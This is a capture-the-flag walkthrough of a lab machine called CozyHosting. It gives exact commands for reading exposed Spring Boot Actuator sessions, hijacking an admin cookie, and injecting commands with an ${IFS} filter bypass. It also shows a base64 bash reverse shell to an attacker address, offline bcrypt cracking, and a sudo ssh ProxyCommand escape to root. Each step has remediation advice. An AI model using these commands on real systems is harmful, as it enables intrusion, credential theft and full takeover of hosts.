← all walkthroughs

CozyHosting

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-06-29
time to own
6m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered that the Spring Boot application's Actuator management framework was publicly reachable and required no credentials, allowing the live session store to be read directly from the internet. A valid administrator session token was extracted from that endpoint, hijacked to reach the admin panel, and then I exploited an OS command injection flaw in the admin panel's SSH helper form — bypassing a naive space filter with a shell variable trick — to execute arbitrary code as the application service account.

From that foothold, I extracted plaintext PostgreSQL credentials from the bundled application JAR, queried the local database to obtain a bcrypt-hashed password for system user 'josh', cracked it offline in minutes against a public wordlist, and authenticated over SSH. A final misconfigured sudo rule granting unrestricted access to /usr/bin/ssh was abused via its ProxyCommand option to spawn an immediate root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for josh>"
export COOKIE="<the-session-cookie-you-captured>"

Attack path — how the box was taken

1EnumerationWeb Application Fingerprinting / Actuator Endpoint Exposure
Discovered publicly exposed Spring Boot Actuator management endpoints
The application was deployed with Spring Boot Actuator's default permissive settings and no authentication requirement. Any visitor could reach /actuator to obtain a full map of all management endpoints, revealing the existence of /actuator/sessions among others.
/actuator/sessions returned {<withheld>:"kanderson"} with no credentials supplied.
Exact commands 2
shell

List all exposed Actuator endpoints; look for /sessions, /env, /heapdump.

$ curl -sS -H 'Host: cozyhosting.htb' http://$TARGET/actuator | python3 -m json.tool
shell

Dump the live server-side session store without any authentication.

$ curl -sS -H 'Host: cozyhosting.htb' http://$TARGET/actuator/sessions
FixDisable or authenticate Spring Boot Actuator endpoints before exposing the application to the internetCritical
WeaknessThe Spring Boot Actuator was deployed with its default permissive configuration, exposing management endpoints — including /actuator/sessions, which lists every live session token mapped to its username — to the public internet without any authentication. Any visitor could read these tokens and impersonate any logged-in user, including administrators.
FixIn application.properties, set management.endpoints.web.exposure.include=health,info to allowlist only the two safe endpoints that public consumers legitimately need. Move the actuator to a dedicated non-public port (management.server.port=8081) and block that port at the firewall. If any sensitive endpoints must remain accessible, protect them with Spring Security requiring a dedicated ROLE_ACTUATOR authority that is never assigned to ordinary users. Audit the current exposure by running: curl http://<host>/actuator and verifying only health and info appear.
2Credential AccessSession Token Theft via Exposed Management API
Harvested a live administrator session token from the unauthenticated session store
The /actuator/sessions endpoint returned a JSON map of every active session ID to its associated username. One entry mapped token to the username 'kanderson'. Because Spring Boot stores sessions server-side and the token is the only credential required, possession of this value is equivalent to knowing the account's password.
{<withheld>:"kanderson"} returned unauthenticated; confirmed valid by subsequent HTTP 200 on /admin.
Exact commands 1
shell

Identify every live session token and its owner; copy the token for use in subsequent requests.

$ curl -sS -H 'Host: cozyhosting.htb' http://$TARGET/actuator/sessions | python3 -m json.tool
3Initial AccessSession Hijacking (T1550.004)
Hijacked the kanderson session to reach the admin panel
Replaying the stolen JSESSIONID cookie in an HTTP request bypassed the login form entirely. The server accepted the token as proof of identity and returned the authenticated admin panel, which contained a form for connecting to remote hosts via SSH — the feature exploited in the next step.
GET /admin with JSESSIONID=<withheld> returned HTTP/1.1 200 and a response body containing <form action="/executessh" method="post">.
Exact commands 1
shell

Confirm admin panel access with the hijacked cookie; identify available forms and actions.

$ curl -si -H 'Host: cozyhosting.htb' -b "JSESSIONID=$COOKIE" http://$TARGET/admin | head -60
4ExecutionOS Command Injection (T1059.004)
Injected OS commands via the SSH helper form and obtained a reverse shell as 'app'
The /executessh endpoint accepted a 'username' parameter and appended it without sanitisation to a shell command that invoked SSH. Inserting a semicolon terminated the SSH arguments and started a new command. A naive space filter was present but defeated by substituting ${IFS} (the shell's internal field separator) for every space character. I encoded a bash reverse shell in base64 and delivered it through this bypass, receiving a shell on the attack machine as the OS service account 'app'.
Curl command with username=;id>&2; returned uid= in the response, confirming arbitrary code execution before the reverse shell was established.
Exact commands 4
shell

Proof-of-concept: confirm injection by printing uid= to stderr; no listener needed.

$ curl -i -sS -H 'Host: cozyhosting.htb' -b "JSESSIONID=$COOKIE" -X POST --data-urlencode 'host=127.0.0.1' --data-urlencode 'username=;id>&2;' http://$TARGET/executessh | tr -d '\r' | grep -E 'uid=|Location|command not found|usage'
shell

Encode the reverse shell; replace $ATTACKER_IP with your tun0 address. Copy the output as BASE64_PAYLOAD.

$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0
shell

Start the catch listener on the attack machine before sending the payload below.

$ nc -lvnp 4444
shell

Deliver the payload; ${IFS} replaces spaces to bypass the filter. Substitute BASE64_PAYLOAD with the encoded string from the previous step.

$ curl -sS -H 'Host: cozyhosting.htb' -b "JSESSIONID=$COOKIE" -X POST --data-urlencode 'host=127.0.0.1' --data-urlencode 'username=;echo${IFS}BASE64_PAYLOAD|base64${IFS}-d|bash;' http://$TARGET/executessh
FixEliminate OS command injection in the SSH connection helperCritical
WeaknessThe /executessh endpoint passed a user-supplied 'username' value directly into a shell command string without sanitisation. A semicolon in the input terminated the SSH arguments and started an externally controlled command, and a naive space filter was trivially bypassed using ${IFS}, allowing arbitrary code execution as the application account.
FixRemove the shell invocation entirely and replace it with a Java SSH library (JSch or Apache MINA SSHD) that accepts host and username as discrete typed parameters rather than building a command string. If a subprocess call is unavoidable, use ProcessBuilder with an explicit String[] argument array — never Runtime.exec(String) — and enforce strict allow-list validation on both the host field (RFC-1123 hostname or IPv4/IPv6 regex only) and the username field (printable alphanumeric characters only, reject all shell metacharacters including semicolon, pipe, ampersand, backtick, dollar sign, and whitespace).
5Credential AccessCredential Access from Application Config / Offline Password Cracking (T1552.001, T1110.002)
Extracted PostgreSQL credentials from the application JAR and cracked josh's password hash
As the 'app' service account, I located the Spring Boot deployment at /app/cloudhosting-0.0.1.jar. Unzipping the JAR revealed BOOT-INF/classes/application.properties containing a plaintext PostgreSQL username and password. Connecting to the local database and querying the users table returned bcrypt-hashed passwords for all application accounts. The hash associated with system user 'josh' was written to disk and cracked offline with hashcat against the rockyou wordlist, recovering the password.
application.properties yielded plaintext DB credentials; josh's bcrypt hash cracked to <withheld>, confirmed by successful SSH login in the next step.
Exact commands 4
shell

Extract the embedded Spring Boot config; look for spring.datasource.username and spring.datasource.password.

$ unzip -p /app/cloudhosting-0.0.1.jar BOOT-INF/classes/application.properties
shell

Connect to the local PostgreSQL instance using the credentials found above.

$ psql -h 127.0.0.1 -U cozyhosting -d cozyhosting
shell

Run inside psql to dump all usernames and bcrypt hashes; copy josh's hash to a local file.

$ SELECT name, password FROM users;
shell

Crack bcrypt (mode 3200) offline; recovers '$PASSWORD' in under a minute on typical hardware.

$ hashcat -m 3200 josh_hash.txt /usr/share/wordlists/rockyou.txt --force
FixRemove plaintext database credentials from the application JAR and use a secrets managerHigh
WeaknessThe PostgreSQL username and password were stored in plaintext inside application.properties, which is packaged into the deployed JAR at build time. Any OS user who can read the JAR file — including the 'app' service account itself — can trivially extract the database password with a single unzip command, with no additional privileges required.
FixInject all secrets at runtime via environment variables or a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, or equivalent) rather than embedding them in the build artifact. Reference them in Spring Boot via ${DB_PASSWORD} environment variable substitution. Rotate the compromised PostgreSQL password immediately and audit all application configuration files for other embedded credentials. Restrict the database role used by the application to only the tables and operations it actually requires (principle of least privilege), so that even if credentials are obtained the blast radius is limited.
6Lateral MovementValid Local Accounts (T1078.003)
Authenticated over SSH as system user 'josh' with the cracked password
The cracked password matched the local OS account 'josh', which had an interactive login shell and held the user flag. This moved me from the restricted 'app' service account to a fully interactive user session with personal files and sudo access.
SSH command authenticated successfully, returned josh's uid, and retrieved the user flag at /home/josh/user.txt.
Exact commands 1
shell

Log in as josh and confirm access; user -> <user.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null josh@$TARGET 'id; cat /home/josh/user.txt'
FixEnforce strong, unique passwords and disable password-based SSH loginMedium
WeaknessThe system account 'josh' used the password, a dictionary word present in the rockyou wordlist. Once the bcrypt hash was obtained from the database, an unauthorised user cracked it on commodity hardware in under a minute, converting a database credential into full OS access.
FixDisable password-based SSH authentication entirely by setting PasswordAuthentication no in /etc/ssh/sshd_config and restarting sshd; require key-based authentication for all users. Where passwords are still required (console access, sudo), enforce a minimum length of 16 characters with PAM pam_pwquality and configure a breach-list check to reject passwords found in public wordlists. Change all current user passwords that do not meet this bar immediately.
7Privilege EscalationSudo Abuse via GTFOBins ssh ProxyCommand (T1548.003)
Escaped to a root shell via sudo /usr/bin/ssh ProxyCommand injection
Checking josh's sudo privileges with 'sudo -l' revealed a rule permitting /usr/bin/ssh to be run as root without a password. The ssh binary accepts a -o ProxyCommand option that executes an arbitrary shell command as a subprocess. Because sudo launches the entire ssh process as root, the ProxyCommand subprocess also runs as root. Passing a semicolon-prefixed shell one-liner as the ProxyCommand value caused ssh to immediately spawn a root shell before attempting any network connection, bypassing every restriction.
Command returned uid=0(root) and the root flag via the ProxyCommand payload, confirming full system compromise.
Exact commands 2
shell

Confirm the sudo rule — expected output: (root) /usr/bin/ssh.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null josh@$TARGET "echo $PASSWORD | sudo -S -l"
shell

Execute commands as root via ProxyCommand escape; root -> <root.txt> Replace the payload with any desired root-level command.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null josh@$TARGET "echo '$PASSWORD' | sudo -S /usr/bin/ssh -o ProxyCommand=';sh -c \"id; cat /root/root.txt\" 1>&2' x"
FixRemove the sudo rule granting unrestricted access to /usr/bin/sshCritical
WeaknessA sudoers rule allowed 'josh' to execute /usr/bin/ssh as root with no restriction on arguments. Because ssh's -o ProxyCommand option spawns an arbitrary subprocess, this rule is functionally equivalent to giving josh an unrestricted root shell — any user with this sudo entry can become root instantly.
FixDelete the offending rule from /etc/sudoers (edit safely with visudo). Any legitimate operational need to connect to remote systems from a service context should be addressed with dedicated SSH key pairs scoped to specific destination hosts, not with sudo. Audit every account's sudo privileges with 'sudo -l -U <user>' and remove access to any binary listed on GTFOBins (ssh, python, perl, vim, less, man, find, awk, etc.) that can spawn a shell. Apply the principle of least privilege: no user should have sudo access to a binary unless that specific binary in that specific invocation is genuinely required for their role.